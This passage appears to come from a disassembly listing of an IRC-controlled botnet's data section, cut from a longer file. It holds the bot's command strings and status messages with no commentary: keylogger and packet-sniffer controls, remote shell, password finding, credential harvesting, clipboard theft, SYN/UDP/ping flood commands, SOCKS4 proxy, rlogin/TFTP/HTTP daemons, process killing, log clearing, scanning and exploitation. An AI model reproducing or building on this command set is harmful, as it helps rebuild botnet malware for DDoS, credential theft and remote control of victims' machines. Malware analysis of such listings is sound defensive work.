		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerStopp	db ' Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aCom_keylog	db 'com.keylog',0       ; DATA XREF: sub_40EE72+1E5Do
		align 10h
unk_437A70	db    2			; DATA XREF: sub_40EE72:loc_410CC5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aNoCarnivoreThr	db 'No Carnivore thread found.',0
		align 4
unk_437AA8	db    2			; DATA XREF: sub_40EE72+1E49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivoreStopp	db 'Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
aOff		db 'off',0              ; DATA XREF: sub_40EE72+1E26o
					; sub_40EE72+1E94o
unk_437AF4	db    2			; DATA XREF: sub_40EE72+1E1Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_27	db 'Failed to start sniffer thread, error: <%d>.',0
		align 10h
unk_437B40	db    2			; DATA XREF: sub_40EE72+1DACo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivorePacke	db 'Carnivore packet sniffer active.',0
		align 10h
unk_437B80	db    2			; DATA XREF: sub_40EE72+1D45o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunni_2	db 'Already running.',0
		align 10h
aOn		db 'on',0               ; DATA XREF: sub_40EE72+1D25o
					; sub_40EE72+1E72o
		align 4
aSniff		db 'sniff',0            ; DATA XREF: sub_40EE72+1D10o
		align 4
aCom_rf		db 'com.rf',0           ; DATA XREF: sub_40EE72+1CF9o
		align 4
aCom_readfile	db 'com.readfile',0     ; DATA XREF: sub_40EE72+1CE2o
		align 4
aCom_cm		db 'com.cm',0           ; DATA XREF: sub_40EE72+1CCBo
		align 4
aCom_cmd	db 'com.cmd',0          ; DATA XREF: sub_40EE72+1CB4o
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: sub_40EE72+1C86o
					; sub_40EE72+1C9Do
		align 10h
aIrc_v		db 'irc.v',0            ; DATA XREF: sub_40EE72+1C6Fo
		align 4
aIrc_visit	db 'irc.visit',0        ; DATA XREF: sub_40EE72+1C58o
		align 4
aCom_fl		db 'com.fl',0           ; DATA XREF: sub_40EE72+1C41o
		align 4
aCom_filelist	db 'com.filelist',0     ; DATA XREF: sub_40EE72+1C2Ao
		align 4
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: sub_40EE72+1C13o
		align 4
aDcc_get	db 'dcc.get',0          ; DATA XREF: sub_40EE72+1BFCo
aCom_del	db 'com.del',0          ; DATA XREF: sub_40EE72+1BE5o
aCom_delete	db 'com.delete',0       ; DATA XREF: sub_40EE72+1BCEo
		align 10h
aCom_pkid	db 'com.pkid',0         ; DATA XREF: sub_40EE72+1BB7o
		align 4
aCom_prockillid	db 'com.prockillid',0   ; DATA XREF: sub_40EE72+1BA0o
		align 4
aCom_kpn	db 'com.kpn',0          ; DATA XREF: sub_40EE72+1B89o
aCom_killprocna	db 'com.killprocname',0 ; DATA XREF: sub_40EE72+1B72o
		align 4
aIrc_dn		db 'irc.dn',0           ; DATA XREF: sub_40EE72+1B5Bo
		align 10h
aIrc_dns	db 'irc.dns',0          ; DATA XREF: sub_40EE72+1B44o
aIrc_se		db 'irc.se',0           ; DATA XREF: sub_40EE72+1B2Do
		align 10h
aIrc_setserve	db 'irc.setserve',0     ; DATA XREF: sub_40EE72+1B16o
		align 10h
aCom_o		db 'com.o',0            ; DATA XREF: sub_40EE72+1AFFo
		align 4
aCom_open	db 'com.open',0         ; DATA XREF: sub_40EE72+1AE8o
		align 4
aIrc_pr		db 'irc.pr',0           ; DATA XREF: sub_40EE72+1AD1o
		align 4
aIrc_prefix	db 'irc.prefix',0       ; DATA XREF: sub_40EE72+1ABAo
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: sub_40EE72+1AA3o
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: sub_40EE72+1A8Co
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: sub_40EE72+1A75o
aClone_quit	db 'clone.quit',0       ; DATA XREF: sub_40EE72+1A5Eo
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: sub_40EE72+1A47o
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: sub_40EE72+1A30o
		align 4
aIrc_ra		db 'irc.ra',0           ; DATA XREF: sub_40EE72+1A19o
		align 4
aIrc_raw	db 'irc.raw',0          ; DATA XREF: sub_40EE72+1A02o
aIrc_pt		db 'irc.pt',0           ; DATA XREF: sub_40EE72+19EBo
		align 4
aIrc_part	db 'irc.part',0         ; DATA XREF: sub_40EE72+19D4o
		align 4
aIrc_j		db 'irc.j',0            ; DATA XREF: sub_40EE72+19BDo
		align 10h
aIrc_join	db 'irc.join',0         ; DATA XREF: sub_40EE72+19A6o
		align 4
aIrc_n		db 'irc.n',0            ; DATA XREF: sub_40EE72+198Fo
		align 4
aIrc_nick	db 'irc.nick',0         ; DATA XREF: sub_40EE72+1978o
		align 10h
aSa		db 'sa',0               ; DATA XREF: sub_40EE72+1952o
		align 4
aScanall	db 'scanall',0          ; DATA XREF: sub_40EE72+193Do
aCom_fp		db 'com.fp',0           ; DATA XREF: sub_40EE72+1928o
		align 4
aCom_findpass	db 'com.findpass',0     ; DATA XREF: sub_40EE72+1913o
		align 4
aDaemon_tf_on	db 'daemon.tf.on',0     ; DATA XREF: sub_40EE72+18FEo
		align 4
aDaemon_tftp_on	db 'daemon.tftp.on',0   ; DATA XREF: sub_40EE72+18E9o
		align 4
aDaemon_web_on	db 'daemon.web.on',0    ; DATA XREF: sub_40EE72+18D4o
		align 4
aDaemon_httpd_o	db 'daemon.httpd.on',0  ; DATA XREF: sub_40EE72+18BFo
aDaemon_rl_on	db 'daemon.rl.on',0     ; DATA XREF: sub_40EE72+18AAo
		align 4
aDaemon_rlogi_0	db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EE72+1895o
		align 4
aRoot_cip	db 'root.cip',0         ; DATA XREF: sub_40EE72+1880o
		align 4
aRoot_currentip	db 'root.currentip',0   ; DATA XREF: sub_40EE72+186Bo
		align 4
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: sub_40EE72+1856o
		align 10h
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: sub_40EE72+1841o
		align 10h
aUtil_farp	db 'util.farp',0        ; DATA XREF: sub_40EE72+182Co
		align 4
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: sub_40EE72+1817o
		align 4
aCom_gc		db 'com.gc',0           ; DATA XREF: sub_40EE72+1802o
		align 4
aCom_getclip	db 'com.getclip',0      ; DATA XREF: sub_40EE72+17EDo
dword_437E50	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+17DDo
		dd 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_40EE72+17A9o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_40EE72+179Co
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_40EE72+177Ao
		align 10h
aIrc_who	db 'irc.who',0          ; DATA XREF: sub_40EE72+1761o
aCmd		db '[CMD]',0            ; DATA XREF: sub_40EE72+1756o
		align 10h
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_40EE72+1751o
		align 10h
aCom_ocmd_off	db 'com.ocmd.off',0     ; DATA XREF: sub_40EE72+1738o
		align 10h
aCom_ocmd	db 'com.ocmd',0         ; DATA XREF: sub_40EE72+1723o
		align 4
aCom_opencmd	db 'com.opencmd',0      ; DATA XREF: sub_40EE72+170Eo
aCom_dll	db 'com.dll',0          ; DATA XREF: sub_40EE72+16F9o
aCom_testdlls	db 'com.testdlls',0     ; DATA XREF: sub_40EE72+16E4o
		align 10h
aCom_drv	db 'com.drv',0          ; DATA XREF: sub_40EE72+16CFo
aCom_driveinfo	db 'com.driveinfo',0    ; DATA XREF: sub_40EE72+16BAo
		align 4
aCom_up		db 'com.up',0           ; DATA XREF: sub_40EE72+16A5o
		align 10h
aCom_uptime	db 'com.uptime',0       ; DATA XREF: sub_40EE72+1690o
		align 4
aCom_key	db 'com.key',0          ; DATA XREF: sub_40EE72+167Bo
aCom_harvest	db 'com.harvest',0      ; DATA XREF: sub_40EE72+1666o
aCom_ps		db 'com.ps',0           ; DATA XREF: sub_40EE72+1651o
		align 4
aCom_procs	db 'com.procs',0        ; DATA XREF: sub_40EE72+163Co
		align 4
aIrc_rm0	db 'irc.rm0',0          ; DATA XREF: sub_40EE72+1627o
aIrc_rem0ve	db 'irc.rem0ve',0       ; DATA XREF: sub_40EE72+1612o
		align 4
aCom_si		db 'com.si',0           ; DATA XREF: sub_40EE72+15FDo
		align 10h
aCom_sysinfo	db 'com.sysinfo',0      ; DATA XREF: sub_40EE72+15E8o
unk_437F7C	db    2			; DATA XREF: sub_40EE72+15DDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_28	db ' Failed to start flood thread, error: <%d>.',0
		align 4
unk_437FC8	db    2			; DATA XREF: sub_40EE72+156Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSFo_1	db ' Flooding: (%s:%s) for %s seconds.',0
aDdos_supersyn	db 'ddos.supersyn',0    ; DATA XREF: sub_40EE72+14D8o
		align 4
aCom_ni		db 'com.ni',0           ; DATA XREF: sub_40EE72+14C3o
		align 10h
aCom_netinfo	db 'com.netinfo',0      ; DATA XREF: sub_40EE72+14AEo
aUtil_clg	db 'util.clg',0         ; DATA XREF: sub_40EE72+1499o
		align 4
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: sub_40EE72+1484o
		align 4
aIrc_lg		db 'irc.lg',0           ; DATA XREF: sub_40EE72+146Fo
		align 10h
aIrc_log	db 'irc.log',0          ; DATA XREF: sub_40EE72+145Ao
aIrc_al		db 'irc.al',0           ; DATA XREF: sub_40EE72+1445o
		align 10h
aIrc_aliases	db 'irc.aliases',0      ; DATA XREF: sub_40EE72+1430o
aThreads_l	db 'threads.l',0        ; DATA XREF: sub_40EE72+141Bo
		align 4
aThreads_list	db 'threads.list',0     ; DATA XREF: sub_40EE72+1406o
		align 4
dword_438088	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+13D2o
		dd 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 4
dword_4380BC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+13CBo
		dd 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aCom_rebewt	db 'com.rebewt',0       ; DATA XREF: sub_40EE72+13B4o
		align 4
aIrc_i		db 'irc.i',0            ; DATA XREF: sub_40EE72+139Fo
		align 4
aIrc_id		db 'irc.id',0           ; DATA XREF: sub_40EE72+138Ao
		align 4
aIrc_s		db 'irc.s',0            ; DATA XREF: sub_40EE72+1375o
		align 4
aIrc_status	db 'irc.status',0       ; DATA XREF: sub_40EE72+1360o
		align 4
aIrc_q		db 'irc.q',0            ; DATA XREF: sub_40EE72+134Bo
		align 10h
aIrc_quit	db 'irc.quit',0         ; DATA XREF: sub_40EE72+1336o
		align 4
aIrc_d		db 'irc.d',0            ; DATA XREF: sub_40EE72+1321o
		align 4
aIrc_disconnect	db 'irc.disconnect',0   ; DATA XREF: sub_40EE72+130Co
		align 4
aIrc_r		db 'irc.r',0            ; DATA XREF: sub_40EE72+12F7o
		align 4
aIrc_reconnect	db 'irc.reconnect',0    ; DATA XREF: sub_40EE72+12E2o
		align 4
aRoot_st	db 'root.st',0          ; DATA XREF: sub_40EE72+12CDo
aRoot_stats	db 'root.stats',0       ; DATA XREF: sub_40EE72+12B8o
		align 10h
aExploitation	db 'Exploitation',0     ; DATA XREF: sub_40EE72+12ADo
		align 10h
aScan		db 'Scan',0             ; DATA XREF: sub_40EE72+12A8o
		align 4
aRoot_stop	db 'root.stop',0        ; DATA XREF: sub_40EE72+128Fo
		align 4
dword_438194	dd 65027302h, 1F727563h, 2E2E1F65h, 0 ;	DATA XREF: sub_40EE72+1284o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_40EE72+127Fo
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: sub_40EE72+1266o
		align 4
dword_4381BC	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ;	DATA XREF: sub_40EE72+125Bo
aClone		db 'Clone',0            ; DATA XREF: sub_40EE72+1256o
		align 4
aClone_off	db 'clone.off',0        ; DATA XREF: sub_40EE72+123Do
		align 10h
aCom_ps_off	db 'com.ps.off',0       ; DATA XREF: sub_40EE72+1228o
		align 4
aCom_procs_off	db 'com.procs.off',0    ; DATA XREF: sub_40EE72+1213o
		align 4
aUtil_ff_off	db 'util.ff.off',0      ; DATA XREF: sub_40EE72+11FEo
aUtil_findfile_	db 'util.findfile.off',0 ; DATA XREF: sub_40EE72+11E9o
		align 4
dword_43821C	dd 66027402h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40EE72+11DEo
aDaemon_tftp_of	db 'daemon.tftp.off',0  ; DATA XREF: sub_40EE72+11C0o
dword_438238	dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EE72+11B5o
dword_438244	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+11B0o
dword_438250	dd 736F6464h, 6E69702Eh, 666F2E67h, 66h	; DATA XREF: sub_40EE72+1197o
dword_438260	dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EE72+118Co
dword_43826C	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+1187o
dword_438278	dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40EE72+116Eo
dword_438288	dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EE72+1163o
dword_438294	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+115Eo
dword_4382A0	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40EE72+1145o
dword_4382B0	dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+113Ao
dword_4382BC	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+1135o
dword_4382C8	dd 736F6464h, 66666F2Eh, 0 ; DATA XREF:	sub_40EE72+111Co
dword_4382D4	dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EE72+1111o
dword_4382E4	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_40EE72+110Co
aProxy_redirect	db 'proxy.redirect.off',0 ; DATA XREF: sub_40EE72+10F3o
		align 4
dword_438308	dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EE72+10E8o
dword_438314	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_40EE72+10E3o
dword_438320	dd 2E676F6Ch, 66666Fh	; DATA XREF: sub_40EE72+10CAo
dword_438328	dd 74026802h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40EE72+10C2o
dword_438334	dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666h ; DATA XREF: sub_40EE72+10A4o
dword_438344	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh	; DATA XREF: sub_40EE72+109Co
aDaemon_rlogin_	db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EE72+107Eo
		align 4
dword_438368	dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ;	DATA XREF: sub_40EE72+105Co
aServer		db 'Server',0           ; DATA XREF: sub_40EE72+1057o
					; sub_40EE72+1097o ...
		align 10h
aProxy_socks4_0	db 'proxy.socks4.off',0 ; DATA XREF: sub_40EE72+103Eo
		align 4
aProxy_s4_on	db 'proxy.s4.on',0      ; DATA XREF: sub_40EE72+1029o
aProxy_socks4_o	db 'proxy.socks4.on',0  ; DATA XREF: sub_40EE72+1014o
aLd_off		db 'ld.off',0           ; DATA XREF: sub_40EE72+FFFo
		align 4
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: sub_40EE72+FEAo
		align 4
aLd_on		db 'ld.on',0            ; DATA XREF: sub_40EE72+FD5o
		align 10h
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: sub_40EE72+FC0o
aVer		db 'ver',0              ; DATA XREF: sub_40EE72+FABo
aIrc_version	db 'irc.version',0      ; DATA XREF: sub_40EE72+F96o
aLo		db 'lo',0               ; DATA XREF: sub_40EE72+F81o
		align 10h
aIrc_logout	db 'irc.logout',0       ; DATA XREF: sub_40EE72+F6Co
		align 4
aIrc_di		db 'irc.di',0           ; DATA XREF: sub_40EE72+F57o
		align 4
aIrc_die	db 'irc.die',0          ; DATA XREF: sub_40EE72+F42o
aRn		db 'rn',0               ; DATA XREF: sub_40EE72+F2Do
		align 10h
aIrc_rndnick	db 'irc.rndnick',0      ; DATA XREF: sub_40EE72+F15o
a63		db '63',0               ; DATA XREF: sub_40EE72+DEEo
		align 10h
asc_438420:				; DATA XREF: sub_40EE72+DC6o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_40EE72+D89o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_40EE72+D7Eo
aRndnick	db '$rndnick',0         ; DATA XREF: sub_40EE72+D6Do
		align 10h
aChan		db '$chan',0            ; DATA XREF: sub_40EE72+D51o
		align 4
aUser_2		db '$user',0            ; DATA XREF: sub_40EE72+D40o
		align 10h
aMe_0		db '$me',0              ; DATA XREF: sub_40EE72+D2Eo
aD		db '$%d',0              ; DATA XREF: sub_40EE72+CC0o
aD_0		db '$%d-',0             ; DATA XREF: sub_40EE72+C05o
		align 10h
aC_0:					; DATA XREF: sub_40EE72+B19o
		unicode	0, <c>,0
dword_438464	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AE4o
		dd 2BBBB02h
aChatFailedByUn	db '  Chat failed by unauthorized user: %s.',0
dword_4384A4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AD6o
		dd 2BBBB02h
aChatAlreadyAct	db '  Chat already active with user: %s.',0
		align 4
dword_4384E4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AC8o
		dd 2BBBB02h
aFailedToSta_29	db '  Failed to start chat thread, error: <%d>.',0
dword_438528	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+A59o
		dd 2BBBB02h
aChatFromUserS_	db '  Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_40EE72+9BFo
		align 10h
dword_438560	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+99Co
		dd 2BBBB02h
aReceiveFileSFa	db '  Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_4385B0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+984o
					; sub_40EE72+4ABEo
		dd 2BBBB02h
aFailedToSta_30	db '  Failed to start transfer thread, error: <%d>.',0
dword_4385F8	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_40EE72+973o
		dd 0A0Dh
dword_438610	dd 4E495001h, 47h	; DATA XREF: sub_40EE72+93Fo
aSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: sub_40EE72+8F9o
		align 4
dword_438634	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_40EE72+8DCo
		dd 0D017325h, 0Ah
dword_438650	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_40EE72+8ABo
dword_43865C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+791o
		dd 2BBBB02h
aReceiveFileSFr	db '  Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0		db 'SEND',0             ; DATA XREF: sub_40EE72+6E8o
		align 10h
dword_4386A0	dd 43434401h, 0		; DATA XREF: sub_40EE72+6CAo
dword_4386A8	dd 323333h		; DATA XREF: sub_40EE72+651o
					; sub_40EE72+B4Fo ...
dword_4386AC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5D2o
		dd 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 4
dword_4386DC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5ABo
		dd 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_40EE72+574o
aPart		db 'PART',0             ; DATA XREF: sub_40EE72+526o
					; sub_40EE72+5EFo
		align 4
aSS_0		db ':%s%s',0            ; DATA XREF: sub_40EE72+4FEo
		align 10h
aNick		db 'NICK',0             ; DATA XREF: sub_40EE72+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+371o
					; sub_40EE72+613o
dword_438738	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+355o
					; sub_40EE72+5FF4o ...
		dd 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_40EE72+2E4o
		align 10h
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+28Do
					; sub_40EE72+4EB7o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_40EE72+262o
a@:					; DATA XREF: sub_40EE72+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_40EE72+22Ao
a005		db '005',0              ; DATA XREF: sub_40EE72+215o
a001		db '001',0              ; DATA XREF: sub_40EE72+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1E4o
					; sub_40EE72+3B7o ...
		align 10h
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_40EE72+1A9o
		align 4
asc_4387B4:				; DATA XREF: sub_40EE72+19Ao
					; sub_40EE72+60FBo
		unicode	0, <!>,0
asc_4387B8	db ' :',0               ; DATA XREF: sub_40EE72+86o
					; sub_40EE72:loc_40FA19o
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_41518A+120o
		align 4
unk_4387C8	db    2			; DATA XREF: sub_41533B:loc_4153C2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessListFai	db 'Process list failed.',0
		align 10h
unk_438800	db    2			; DATA XREF: sub_41533B+80o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessListCom	db 'Process list completed.',0
unk_438838	db    2			; DATA XREF: sub_41533B+19o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aListingProcess	db 'Listing processes:',0
		align 4
dword_43886C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415669o
		dd 2029671Fh, 2BBBB02h
aUserLoggedOutS	db '  User logged out: <%s@%s>.',0
dword_4388A4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415642o
		dd 2029671Fh, 2BBBB02h
aErrorSessionru	db '  Error: SessionRun(): <%d>.',0
		align 10h
dword_4388E0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415622o
		dd 2029671Fh, 2BBBB02h
aUserLoggedInS@	db '  User logged in: <%s@%s>.',0
		align 4
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:004155F2o
		align 4
dword_43892C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: ___:00415561o
		dd 2029671Fh, 2BBBB02h
aErrorGetpeerna	db '  Error: getpeername(): <%d>.',0
		align 4
dword_438968	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_415685:loc_4156CAo
		dd 2029671Fh, 2BBBB02h
aProtocolString	db '  Protocol string too long.',0
dword_4389A0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4156DF+1Bo
		dd 2029671Fh, 2BBBB02h,	6F4C2020h, 206E6967h, 656A6572h
		dd 64657463h, 6552202Ch, 65746F6Dh, 65737520h, 3C203A72h
		dd 25407325h, 2E3E73h, 7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 72452020h
		dd 3A726F72h, 72657320h, 20726576h, 6C696166h, 202C6465h
		dd 75746572h, 64656E72h, 253C203Ah, 2E3E64h, 7A026E02h
		dd 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh, 2029671Fh
		dd 2BBBB02h, 61462020h,	64656C69h, 206F7420h, 72617473h
		dd 6C632074h, 746E6569h, 72687420h, 2C646165h, 72726520h
		dd 203A726Fh, 3E64253Ch, 2Eh, 7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 6C432020h
		dd 746E6569h, 6E6F6320h, 7463656Eh, 206E6F69h, 6D6F7266h
		dd 3A504920h, 3A732520h, 202C6425h, 76726553h, 74207265h
		dd 61657268h, 25203A64h, 2E64h,	7A026E02h, 201F6D1Fh, 6F6C7228h
		dd 646E6967h, 6C1F702Eh, 2029671Fh, 2BBBB02h, 65522020h
		dd 20796461h, 20646E61h, 74696177h, 20676E69h, 20726F66h
		dd 6F636E69h, 676E696Dh, 6E6F6320h, 7463656Eh, 736E6F69h
		dd 2Eh,	7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
		dd 2029671Fh, 2BBBB02h,	61462020h, 64656C69h, 206F7420h
		dd 74736E69h, 206C6C61h, 746E6F63h, 2D6C6F72h, 61682043h
